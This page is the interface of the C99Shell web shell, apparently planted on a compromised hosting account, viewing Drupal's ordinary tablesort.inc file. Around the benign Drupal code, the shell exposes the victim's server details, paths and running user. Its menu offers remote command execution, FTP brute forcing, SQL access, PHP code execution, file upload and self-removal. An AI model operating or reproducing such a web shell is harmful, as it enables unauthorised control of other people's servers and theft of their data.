!C99Shell v. 1.0 pre-release build #13!

Software: Apache/2.0.54 (Unix) mod_perl/1.99_09 Perl/v5.8.0 mod_ssl/2.0.54 OpenSSL/0.9.7l DAV/2 FrontPage/5.0.2.2635 PHP/4.4.0 mod_gzip/2.0.26.1a 

uname -a: Linux snow.he.net 4.4.276-v2-mono-1 #1 SMP Wed Jul 21 11:21:17 PDT 2021 i686 

uid=99(nobody) gid=98(nobody) groups=98(nobody) 

Safe-mode: OFF (not secure)

/home/jerryg/public_html/drupal/includes/   drwxr-xr-x
Free 318.37 GB of 458.09 GB (69.5%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     tablesort.inc (6.09 KB)      -rw-r--r-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// $Id: tablesort.inc,v 1.32 2005/03/31 09:25:33 unconed Exp $

/**
 * @file
 * Functions to aid in the creation of sortable tables.
 *
 * All tables created with a call to theme('table') have the option of having
 * column headers that the user can click on to sort the table by that column.
 */

/**
 * Initialize the table sort context.
 */
function tablesort_init($header) {
  
$ts tablesort_get_order($header);
  
$ts['sort'] = tablesort_get_sort($header);
  
$ts['query_string'] = tablesort_get_querystring();
  return 
$ts;
}

/**
 * Fetch pager link arguments.
 *
 * When producing a sortable table that presents paged data, pass the output
 * of this function into theme('pager') to preserve the current sort order.
 */
function tablesort_pager() {
  
$cgi $_SERVER['REQUEST_METHOD'] == 'GET' $_GET $_POST;
  unset(
$cgi['q'], $cgi['from']);
  return 
$cgi;
}

/**
 * Create an SQL sort clause.
 *
 * This function produces the ORDER BY clause to insert in your SQL queries,
 * assuring that the returned database table rows match the sort order chosen
 * by the user.
 *
 * @param $header
 *   An array of column headers in the format described in theme_table().
 * @param $before
 *   An SQL string to insert after ORDER BY and before the table sorting code.
 *   Useful for sorting by important attributes like "sticky" first.
 * @return
 *   An SQL string to append to the end of a query.
 *
 * @ingroup database
 */
function tablesort_sql($header$before '') {
  
$ts tablesort_init($header);
  if (
$ts['sql']) {
    
$sql db_escape_string($ts['sql']);
    
$sort strtoupper(db_escape_string($ts['sort']));
    return 
" ORDER BY $before $sql $sort";
  }
}

/**
 * Format a column header.
 *
 * If the cell in question is the column header for the current sort criterion,
 * it gets special formatting. All possible sort criteria become links.
 *
 * @param $cell
 *   The cell to format.
 * @param $header
 *   An array of column headers in the format described in theme_table().
 * @param $ts
 *   The current table sort context as returned from tablesort_init().
 * @return
 *   A properly formatted cell, ready for _theme_table_cell().
 */
function tablesort_header($cell$header$ts) {
  
// Special formatting for the currently sorted column header.
  
if (is_array($cell) && isset($cell['field'])) {
    
$title t('sort by %s', array('%s' => $cell['data']));
    if (
$cell['data'] == $ts['name']) {
      
$ts['sort'] = (($ts['sort'] == 'asc') ? 'desc' 'asc');
      
$cell['class'] = 'active';
      
$title = ($ts['sort'] == 'asc' t('sort ascending') : t('sort descending'));
      
$image '&nbsp;'theme('image''misc/arrow-'$ts['sort'] .'.png't('sort icon'), $title);
    }
    else {
      
// If the user clicks a different header, we want to sort ascending initially.
      
$ts['sort'] = 'asc';
      
$image '';
    }
    
$cell['data'] = l($cell['data'] . $image$_GET['q'], array('title' => $title), 'sort='$ts['sort'] .'&order='urlencode($cell['data']). $ts['query_string'], NULLFALSETRUE);

    unset(
$cell['field'], $cell['sort']);
  }
  return 
$cell;
}

/**
 * Format a table cell.
 *
 * Adds a class attribute to all cells in the currently active column.
 *
 * @param $cell
 *   The cell to format.
 * @param $header
 *   An array of column headers in the format described in theme_table().
 * @param $ts
 *   The current table sort context as returned from tablesort_init().
 * @param $i
 *   The index of the cell's table column.
 * @return
 *   A properly formatted cell, ready for _theme_table_cell().
 */
function tablesort_cell($cell$header$ts$i) {
  if (isset(
$header[$i]) && $header[$i]['data'] == $ts['name'] && $header[$i]['field']) {
    if (
is_array($cell)) {
      if (isset(
$cell['class'])) {
        
$cell['class'] .= ' active';
      }
      else {
        
$cell['class'] = 'active';
      }
    }
    else {
      
$cell = array('data' => $cell'class' => 'active');
    }
  }
  return 
$cell;
}

/**
 * Compose a query string to append to table sorting requests.
 *
 * @return
 *   A query string that consists of all components of the current page request
 *   except for those pertaining to table sorting.
 */
function tablesort_get_querystring() {
  
$cgi $_SERVER['REQUEST_METHOD'] == 'GET' $_GET $_POST;
  
$query_string '';
  foreach (
$cgi as $key => $val) {
    if (
$key != 'order' && $key != 'sort' && $key != 'q') {
      
$query_string .= '&'$key .'='$val;
    }
  }
  return 
$query_string;
}

/**
 * Determine the current sort criterion.
 *
 * @param $headers
 *   An array of column headers in the format described in theme_table().
 * @return
 *   An associative array describing the criterion, containing the keys:
 *   - "name": The localized title of the table column.
 *   - "sql": The name of the database field to sort on.
 */
function tablesort_get_order($headers) {
  
$order = isset($_GET['order']) ? $_GET['order'] : '';
  foreach (
$headers as $header) {
    if (isset(
$header['data']) && $order == $header['data']) {
      return array(
'name' => $header['data'], 'sql' => $header['field']);
    }

    if (isset(
$header['sort']) && ($header['sort'] == 'asc' || $header['sort'] == 'desc')) {
      
$default = array('name' => $header['data'], 'sql' => $header['field']);
    }
  }

  if (isset(
$default)) {
    return 
$default;
  }
  else {
    
// The first column specified is initial 'order by' field unless otherwise specified
    
if (is_array($headers[0])) {
      return array(
'name' => $headers[0]['data'], 'sql' => $headers[0]['field']);
    }
    else {
      return array(
'name' => $headers[0]);
    }
  }
}

/**
 * Determine the current sort direction.
 *
 * @param $headers
 *   An array of column headers in the format described in theme_table().
 * @return
 *   The current sort direction ("asc" or "desc").
 */
function tablesort_get_sort($headers) {
  if (isset(
$_GET['sort'])) {
    return (
$_GET['sort'] == 'desc') ? 'desc' 'asc';
  }
  
// User has not specified a sort. Use default if specified; otherwise use "asc".
  
else {
    foreach (
$headers as $header) {
      if (
is_array($header) && array_key_exists('sort'$header)) {
        return 
$header['sort'];
      }
    }
  }
  return 
'asc';
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0249 ]--